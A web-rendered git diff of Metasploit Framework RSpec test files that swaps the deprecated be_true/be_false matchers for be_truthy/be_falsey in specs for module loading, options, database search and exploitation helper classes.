|
subject.send(:namespace_module_transaction, module_full_name) { |namespace_module|
|
||||||
true
|
true
|
||||||
}.should be_true
|
}.should be_truthy
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
@ -1077,18 +1077,18 @@ describe Msf::Modules::Loader::Base do
|
||||||
end
|
end
|
||||||
|
|
||||||
it 'should remove the created namespace module' do
|
it 'should remove the created namespace module' do
|
||||||
Msf::Modules.const_defined?(relative_name).should be_false
|
Msf::Modules.const_defined?(relative_name).should be_falsey
|
||||||
|
|
||||||
begin
|
begin
|
||||||
subject.send(:namespace_module_transaction, module_full_name) do |namespace_module|
|
subject.send(:namespace_module_transaction, module_full_name) do |namespace_module|
|
||||||
Msf::Module.const_defined?(relative_name).should be_true
|
Msf::Module.const_defined?(relative_name).should be_truthy
|
||||||
|
|
||||||
raise error_class, error_message
|
raise error_class, error_message
|
||||||
end
|
end
|
||||||
rescue error_class
|
rescue error_class
|
||||||
end
|
end
|
||||||
|
|
||||||
Msf::Modules.const_defined?(relative_name).should be_false
|
Msf::Modules.const_defined?(relative_name).should be_falsey
|
||||||
end
|
end
|
||||||
|
|
||||||
it 'should re-raise the error' do
|
it 'should re-raise the error' do
|
||||||
|
@ -1102,46 +1102,46 @@ describe Msf::Modules::Loader::Base do
|
||||||
|
|
||||||
context 'with the block returning false' do
|
context 'with the block returning false' do
|
||||||
it 'should remove the created namespace module' do
|
it 'should remove the created namespace module' do
|
||||||
Msf::Modules.const_defined?(relative_name).should be_false
|
Msf::Modules.const_defined?(relative_name).should be_falsey
|
||||||
|
|
||||||
subject.send(:namespace_module_transaction, module_full_name) do |namespace_module|
|
subject.send(:namespace_module_transaction, module_full_name) do |namespace_module|
|
||||||
Msf::Modules.const_defined?(relative_name).should be_true
|
Msf::Modules.const_defined?(relative_name).should be_truthy
|
||||||
|
|
||||||
false
|
false
|
||||||
end
|
end
|
||||||
|
|
||||||
Msf::Modules.const_defined?(relative_name).should be_false
|
Msf::Modules.const_defined?(relative_name).should be_falsey
|
||||||
end
|
end
|
||||||
|
|
||||||
it 'should return false' do
|
it 'should return false' do
|
||||||
subject.send(:namespace_module_transaction, module_full_name) { |namespace_module|
|
subject.send(:namespace_module_transaction, module_full_name) { |namespace_module|
|
||||||
false
|
false
|
||||||
}.should be_false
|
}.should be_falsey
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
context 'with the block returning true' do
|
context 'with the block returning true' do
|
||||||
it 'should not restore the non-existent previous namespace module' do
|
it 'should not restore the non-existent previous namespace module' do
|
||||||
Msf::Modules.const_defined?(relative_name).should be_false
|
Msf::Modules.const_defined?(relative_name).should be_falsey
|
||||||
|
|
||||||
created_namespace_module = nil
|
created_namespace_module = nil
|
||||||
|
|
||||||
subject.send(:namespace_module_transaction, module_full_name) do |namespace_module|
|
subject.send(:namespace_module_transaction, module_full_name) do |namespace_module|
|
||||||
Msf::Modules.const_defined?(relative_name).should be_true
|
Msf::Modules.const_defined?(relative_name).should be_truthy
|
||||||
|
|
||||||
created_namespace_module = namespace_module
|
created_namespace_module = namespace_module
|
||||||
|
|
||||||
true
|
true
|
||||||
end
|
end
|
||||||
|
|
||||||
Msf::Modules.const_defined?(relative_name).should be_true
|
Msf::Modules.const_defined?(relative_name).should be_truthy
|
||||||
Msf::Modules.const_get(relative_name).should == created_namespace_module
|
Msf::Modules.const_get(relative_name).should == created_namespace_module
|
||||||
end
|
end
|
||||||
|
|
||||||
it 'should return true' do
|
it 'should return true' do
|
||||||
subject.send(:namespace_module_transaction, module_full_name) { |namespace_module|
|
subject.send(:namespace_module_transaction, module_full_name) { |namespace_module|
|
||||||
true
|
true
|
||||||
}.should be_true
|
}.should be_truthy
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
@ -1240,14 +1240,14 @@ describe Msf::Modules::Loader::Base do
|
||||||
|
|
||||||
context 'with the current constant being the namespace_module' do
|
context 'with the current constant being the namespace_module' do
|
||||||
it 'should not change the constant' do
|
it 'should not change the constant' do
|
||||||
parent_module.const_defined?(relative_name).should be_true
|
parent_module.const_defined?(relative_name).should be_truthy
|
||||||
|
|
||||||
current_module = parent_module.const_get(relative_name)
|
current_module = parent_module.const_get(relative_name)
|
||||||
current_module.should == @current_namespace_module
|
current_module.should == @current_namespace_module
|
||||||
|
|
||||||
subject.send(:restore_namespace_module, parent_module, relative_name, @current_namespace_module)
|
subject.send(:restore_namespace_module, parent_module, relative_name, @current_namespace_module)
|
||||||
|
|
||||||
parent_module.const_defined?(relative_name).should be_true
|
parent_module.const_defined?(relative_name).should be_truthy
|
||||||
restored_module = parent_module.const_get(relative_name)
|
restored_module = parent_module.const_get(relative_name)
|
||||||
restored_module.should == current_module
|
restored_module.should == current_module
|
||||||
restored_module.should == @current_namespace_module
|
restored_module.should == @current_namespace_module
|
||||||
|
@ -1263,7 +1263,7 @@ describe Msf::Modules::Loader::Base do
|
||||||
|
|
||||||
context 'without the current constant being the namespace_module' do
|
context 'without the current constant being the namespace_module' do
|
||||||
it 'should remove relative_name from parent_module' do
|
it 'should remove relative_name from parent_module' do
|
||||||
parent_module.const_defined?(relative_name).should be_true
|
parent_module.const_defined?(relative_name).should be_truthy
|
||||||
parent_module.should_receive(:remove_const).with(relative_name)
|
parent_module.should_receive(:remove_const).with(relative_name)
|
||||||
|
|
||||||
subject.send(:restore_namespace_module, parent_module, relative_name, @original_namespace_module)
|
subject.send(:restore_namespace_module, parent_module, relative_name, @original_namespace_module)
|
||||||
|
@ -1281,11 +1281,11 @@ describe Msf::Modules::Loader::Base do
|
||||||
|
|
||||||
context 'without relative_name being a defined constant' do
|
context 'without relative_name being a defined constant' do
|
||||||
it 'should set relative_name on parent_module to namespace_module' do
|
it 'should set relative_name on parent_module to namespace_module' do
|
||||||
parent_module.const_defined?(relative_name).should be_false
|
parent_module.const_defined?(relative_name).should be_falsey
|
||||||
|
|
||||||
subject.send(:restore_namespace_module, parent_module, relative_name, @original_namespace_module)
|
subject.send(:restore_namespace_module, parent_module, relative_name, @original_namespace_module)
|
||||||
|
|
||||||
parent_module.const_defined?(relative_name).should be_true
|
parent_module.const_defined?(relative_name).should be_truthy
|
||||||
parent_module.const_get(relative_name).should == @original_namespace_module
|
parent_module.const_get(relative_name).should == @original_namespace_module
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
@ -1307,7 +1307,7 @@ describe Msf::Modules::Loader::Base do
|
||||||
metasploit_class = double('Metasploit Class')
|
metasploit_class = double('Metasploit Class')
|
||||||
metasploit_class.should_not respond_to(:is_usable)
|
metasploit_class.should_not respond_to(:is_usable)
|
||||||
|
|
||||||
subject.send(:usable?, metasploit_class).should be_true
|
subject.send(:usable?, metasploit_class).should be_truthy
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -1340,7 +1340,7 @@ describe Msf::Modules::Loader::Base do
|
||||||
end
|
end
|
||||||
|
|
||||||
it 'should return false' do
|
it 'should return false' do
|
||||||
subject.send(:usable?, metasploit_class).should be_false
|
subject.send(:usable?, metasploit_class).should be_falsey
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -51,7 +51,7 @@ describe Msf::Modules::Loader::Directory do
|
||||||
end
|
end
|
||||||
|
|
||||||
it 'should load a module that can be created' do
|
it 'should load a module that can be created' do
|
||||||
subject.load_module(parent_path, type, module_reference_name).should be_true
|
subject.load_module(parent_path, type, module_reference_name).should be_truthy
|
||||||
|
|
||||||
created_module = module_manager.create(module_full_name)
|
created_module = module_manager.create(module_full_name)
|
||||||
|
|
||||||
|
@ -74,7 +74,7 @@ describe Msf::Modules::Loader::Directory do
|
||||||
end
|
end
|
||||||
|
|
||||||
it 'should not load the module' do
|
it 'should not load the module' do
|
||||||
subject.load_module(parent_path, type, module_reference_name).should be_false
|
subject.load_module(parent_path, type, module_reference_name).should be_falsey
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -89,7 +89,7 @@ describe Msf::Modules::Loader::Directory do
|
||||||
end
|
end
|
||||||
|
|
||||||
it 'should not load the module' do
|
it 'should not load the module' do
|
||||||
subject.load_module(parent_path, type, module_reference_name).should be_false
|
subject.load_module(parent_path, type, module_reference_name).should be_falsey
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
@ -110,7 +110,7 @@ describe Msf::Modules::Loader::Directory do
|
||||||
end
|
end
|
||||||
|
|
||||||
it 'should not raise an error' do
|
it 'should not raise an error' do
|
||||||
File.exist?(module_path).should be_false
|
File.exist?(module_path).should be_falsey
|
||||||
|
|
||||||
expect {
|
expect {
|
||||||
subject.load_module(parent_path, type, module_reference_name)
|
subject.load_module(parent_path, type, module_reference_name)
|
||||||
|
@ -118,9 +118,9 @@ describe Msf::Modules::Loader::Directory do
|
||||||
end
|
end
|
||||||
|
|
||||||
it 'should return false' do
|
it 'should return false' do
|
||||||
File.exist?(module_path).should be_false
|
File.exist?(module_path).should be_falsey
|
||||||
|
|
||||||
subject.load_module(parent_path, type, module_reference_name).should be_false
|
subject.load_module(parent_path, type, module_reference_name).should be_falsey
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
@ -138,7 +138,7 @@ describe Msf::Modules::Loader::Directory do
|
||||||
# this ensures that the File.exist?(module_path) checks are checking the same path as the code under test
|
# this ensures that the File.exist?(module_path) checks are checking the same path as the code under test
|
||||||
it 'should attempt to open the expected module_path' do
|
it 'should attempt to open the expected module_path' do
|
||||||
File.should_receive(:open).with(module_path, 'rb')
|
File.should_receive(:open).with(module_path, 'rb')
|
||||||
File.exist?(module_path).should be_false
|
File.exist?(module_path).should be_falsey
|
||||||
|
|
||||||
subject.send(:read_module_content, parent_path, type, module_reference_name)
|
subject.send(:read_module_content, parent_path, type, module_reference_name)
|
||||||
end
|
end
|
||||||
|
|
|
@ -47,7 +47,7 @@ describe Msf::Modules::Namespace do
|
||||||
end
|
end
|
||||||
|
|
||||||
it 'should be defined' do
|
it 'should be defined' do
|
||||||
subject.const_defined?('Metasploit1').should be_true
|
subject.const_defined?('Metasploit1').should be_truthy
|
||||||
end
|
end
|
||||||
|
|
||||||
it 'should return the class' do
|
it 'should return the class' do
|
||||||
|
@ -61,7 +61,7 @@ describe Msf::Modules::Namespace do
|
||||||
end
|
end
|
||||||
|
|
||||||
it 'should be defined' do
|
it 'should be defined' do
|
||||||
subject.const_defined?('Metasploit2').should be_true
|
subject.const_defined?('Metasploit2').should be_truthy
|
||||||
end
|
end
|
||||||
|
|
||||||
it 'should return the class' do
|
it 'should return the class' do
|
||||||
|
@ -75,7 +75,7 @@ describe Msf::Modules::Namespace do
|
||||||
end
|
end
|
||||||
|
|
||||||
it 'should be defined' do
|
it 'should be defined' do
|
||||||
subject.const_defined?('Metasploit3').should be_true
|
subject.const_defined?('Metasploit3').should be_truthy
|
||||||
end
|
end
|
||||||
|
|
||||||
it 'should return the class' do
|
it 'should return the class' do
|
||||||
|
@ -89,7 +89,7 @@ describe Msf::Modules::Namespace do
|
||||||
end
|
end
|
||||||
|
|
||||||
it 'should be defined' do
|
it 'should be defined' do
|
||||||
subject.const_defined?('Metasploit4').should be_true
|
subject.const_defined?('Metasploit4').should be_truthy
|
||||||
end
|
end
|
||||||
|
|
||||||
it 'should return the class' do
|
it 'should return the class' do
|
||||||
|
@ -103,7 +103,7 @@ describe Msf::Modules::Namespace do
|
||||||
end
|
end
|
||||||
|
|
||||||
it 'should be defined' do
|
it 'should be defined' do
|
||||||
subject.const_defined?('Metasploit5').should be_true
|
subject.const_defined?('Metasploit5').should be_truthy
|
||||||
end
|
end
|
||||||
|
|
||||||
it 'should be newer than Msf::Framework::Major' do
|
it 'should be newer than Msf::Framework::Major' do
|
||||||
|
@ -179,7 +179,7 @@ describe Msf::Modules::Namespace do
|
||||||
context 'version_compatible!' do
|
context 'version_compatible!' do
|
||||||
context 'without RequiredVersions' do
|
context 'without RequiredVersions' do
|
||||||
it 'should not be defined' do
|
it 'should not be defined' do
|
||||||
subject.const_defined?('RequiredVersions').should be_false
|
subject.const_defined?('RequiredVersions').should be_falsey
|
||||||
end
|
end
|
||||||
|
|
||||||
it 'should not raise an error' do
|
it 'should not raise an error' do
|
||||||
|
|
|
@ -20,4 +20,4 @@ describe Msf::OptEnum do
|
||||||
subject.valid?('Bar').should == true
|
subject.valid?('Bar').should == true
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -12,4 +12,4 @@ describe Msf::OptRaw do
|
||||||
invalid_values = []
|
invalid_values = []
|
||||||
|
|
||||||
it_behaves_like "an option", valid_values, invalid_values, 'raw'
|
it_behaves_like "an option", valid_values, invalid_values, 'raw'
|
||||||
end
|
end
|
||||||
|
|
|
@ -14,4 +14,4 @@ describe Msf::OptRegexp do
|
||||||
]
|
]
|
||||||
|
|
||||||
it_behaves_like "an option", valid_values, invalid_values, 'regexp'
|
it_behaves_like "an option", valid_values, invalid_values, 'regexp'
|
||||||
end
|
end
|
||||||
|
|
|
@ -530,4 +530,4 @@ describe Msf::PayloadGenerator do
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
|
@ -105,4 +105,4 @@ describe Msf::DBManager::Export do
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -845,7 +845,7 @@ describe Msf::DBManager do
|
||||||
|
|
||||||
module_details.all? { |module_detail|
|
module_details.all? { |module_detail|
|
||||||
module_detail.stance == 'passive'
|
module_detail.stance == 'passive'
|
||||||
}.should be_true
|
}.should be_truthy
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -859,7 +859,7 @@ describe Msf::DBManager do
|
||||||
|
|
||||||
module_details.all? { |module_detail|
|
module_details.all? { |module_detail|
|
||||||
module_detail.stance == 'aggressive'
|
module_detail.stance == 'aggressive'
|
||||||
}.should be_true
|
}.should be_truthy
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
@ -890,7 +890,7 @@ describe Msf::DBManager do
|
||||||
module_detail.authors.any? { |module_author|
|
module_detail.authors.any? { |module_author|
|
||||||
module_author.email == target_module_author.email
|
module_author.email == target_module_author.email
|
||||||
}
|
}
|
||||||
}.should be_true
|
}.should be_truthy
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -907,7 +907,7 @@ describe Msf::DBManager do
|
||||||
module_detail.authors.any? { |module_author|
|
module_detail.authors.any? { |module_author|
|
||||||
module_author.name == target_module_author.name
|
module_author.name == target_module_author.name
|
||||||
}
|
}
|
||||||
}.should be_true
|
}.should be_truthy
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
@ -939,7 +939,7 @@ describe Msf::DBManager do
|
||||||
|
|
||||||
module_details.all? { |module_detail|
|
module_details.all? { |module_detail|
|
||||||
module_detail.fullname == target_module_detail.fullname
|
module_detail.fullname == target_module_detail.fullname
|
||||||
}.should be_true
|
}.should be_truthy
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -954,7 +954,7 @@ describe Msf::DBManager do
|
||||||
|
|
||||||
module_details.all? { |module_detail|
|
module_details.all? { |module_detail|
|
||||||
module_detail.name == target_module_detail.name
|
module_detail.name == target_module_detail.name
|
||||||
}.should be_true
|
}.should be_truthy
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
@ -991,7 +991,7 @@ describe Msf::DBManager do
|
||||||
module_detail.refs.any? { |module_ref|
|
module_detail.refs.any? { |module_ref|
|
||||||
module_ref.name == ref
|
module_ref.name == ref
|
||||||
}
|
}
|
||||||
}.should be_true
|
}.should be_truthy
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -1029,7 +1029,7 @@ describe Msf::DBManager do
|
||||||
|
|
||||||
module_details.all? { |module_detail|
|
module_details.all? { |module_detail|
|
||||||
module_detail.mtype == type
|
module_detail.mtype == type
|
||||||
}.should be_true
|
}.should be_truthy
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -1057,7 +1057,7 @@ describe Msf::DBManager do
|
||||||
module_detail.actions.any? { |module_action|
|
module_detail.actions.any? { |module_action|
|
||||||
module_action.name == search_string
|
module_action.name == search_string
|
||||||
}
|
}
|
||||||
}.should be_true
|
}.should be_truthy
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -1077,7 +1077,7 @@ describe Msf::DBManager do
|
||||||
module_detail.archs.any? { |module_arch|
|
module_detail.archs.any? { |module_arch|
|
||||||
module_arch.name == search_string
|
module_arch.name == search_string
|
||||||
}
|
}
|
||||||
}.should be_true
|
}.should be_truthy
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -1097,7 +1097,7 @@ describe Msf::DBManager do
|
||||||
module_detail.authors.any? { |module_author|
|
module_detail.authors.any? { |module_author|
|
||||||
module_author.name == search_string
|
module_author.name == search_string
|
||||||
}
|
}
|
||||||
}.should be_true
|
}.should be_truthy
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -1121,7 +1121,7 @@ describe Msf::DBManager do
|
||||||
|
|
||||||
module_details.all? { |module_detail|
|
module_details.all? { |module_detail|
|
||||||
module_detail.description == target_module_detail.description
|
module_detail.description == target_module_detail.description
|
||||||
}.should be_true
|
}.should be_truthy
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -1135,7 +1135,7 @@ describe Msf::DBManager do
|
||||||
|
|
||||||
module_details.all? { |module_detail|
|
module_details.all? { |module_detail|
|
||||||
module_detail.fullname == search_string
|
module_detail.fullname == search_string
|
||||||
}.should be_true
|
}.should be_truthy
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -1150,7 +1150,7 @@ describe Msf::DBManager do
|
||||||
|
|
||||||
module_details.all? { |module_detail|
|
module_details.all? { |module_detail|
|
||||||
module_detail.name == target_module_detail.name
|
module_detail.name == target_module_detail.name
|
||||||
}.should be_true
|
}.should be_truthy
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
@ -1171,7 +1171,7 @@ describe Msf::DBManager do
|
||||||
module_detail.platforms.any? { |module_platform|
|
module_detail.platforms.any? { |module_platform|
|
||||||
module_platform.name == search_string
|
module_platform.name == search_string
|
||||||
}
|
}
|
||||||
}.should be_true
|
}.should be_truthy
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -1191,7 +1191,7 @@ describe Msf::DBManager do
|
||||||
module_detail.refs.any? { |module_ref|
|
module_detail.refs.any? { |module_ref|
|
||||||
module_ref.name == search_string
|
module_ref.name == search_string
|
||||||
}
|
}
|
||||||
}.should be_true
|
}.should be_truthy
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -1211,7 +1211,7 @@ describe Msf::DBManager do
|
||||||
module_detail.targets.any? { |module_target|
|
module_detail.targets.any? { |module_target|
|
||||||
module_target.name == search_string
|
module_target.name == search_string
|
||||||
}
|
}
|
||||||
}.should be_true
|
}.should be_truthy
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
@ -1775,7 +1775,7 @@ describe Msf::DBManager do
|
||||||
|
|
||||||
# @todo determine how to load a single payload to test payload type outside of msfconsole
|
# @todo determine how to load a single payload to test payload type outside of msfconsole
|
||||||
|
|
||||||
it_should_behave_like 'Msf::DBManager#update_module_details with module',
|
it_should_behave_like 'Msf::DBManager#update_module_details with module',
|
||||||
:reference_name => 'windows/escalate/screen_unlock',
|
:reference_name => 'windows/escalate/screen_unlock',
|
||||||
:type => 'post'
|
:type => 'post'
|
||||||
end
|
end
|
||||||
|
|
|
@ -27,4 +27,4 @@ describe Rex::Exploitation::Js::Detect do
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
|
@ -27,4 +27,4 @@ describe Rex::Exploitation::Js::Memory do
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
|
@ -13,4 +13,4 @@ describe Rex::Exploitation::Js::Utils do
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
|
@ -62,16 +62,16 @@ describe Rex::Exploitation::Powershell::Function do
|
||||||
function = Rex::Exploitation::Powershell::Function.new(function_name, example_function_without_params)
|
function = Rex::Exploitation::Powershell::Function.new(function_name, example_function_without_params)
|
||||||
function.name.should eq function_name
|
function.name.should eq function_name
|
||||||
function.code.should eq example_function_without_params
|
function.code.should eq example_function_without_params
|
||||||
function.to_s.include?("function #{function_name} #{example_function_without_params}").should be_true
|
function.to_s.include?("function #{function_name} #{example_function_without_params}").should be_truthy
|
||||||
function.params.should be_kind_of Array
|
function.params.should be_kind_of Array
|
||||||
function.params.empty?.should be_true
|
function.params.empty?.should be_truthy
|
||||||
end
|
end
|
||||||
|
|
||||||
it 'should handle a function with params' do
|
it 'should handle a function with params' do
|
||||||
function = Rex::Exploitation::Powershell::Function.new(function_name, example_function_with_params)
|
function = Rex::Exploitation::Powershell::Function.new(function_name, example_function_with_params)
|
||||||
function.name.should eq function_name
|
function.name.should eq function_name
|
||||||
function.code.should eq example_function_with_params
|
function.code.should eq example_function_with_params
|
||||||
function.to_s.include?("function #{function_name} #{example_function_with_params}").should be_true
|
function.to_s.include?("function #{function_name} #{example_function_with_params}").should be_truthy
|
||||||
function.params.should be_kind_of Array
|
function.params.should be_kind_of Array
|
||||||
function.params.length.should be == 5
|
function.params.length.should be == 5
|
||||||
function.params[0].klass.should eq 'Type[]'
|
function.params[0].klass.should eq 'Type[]'
|
||||||
|
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue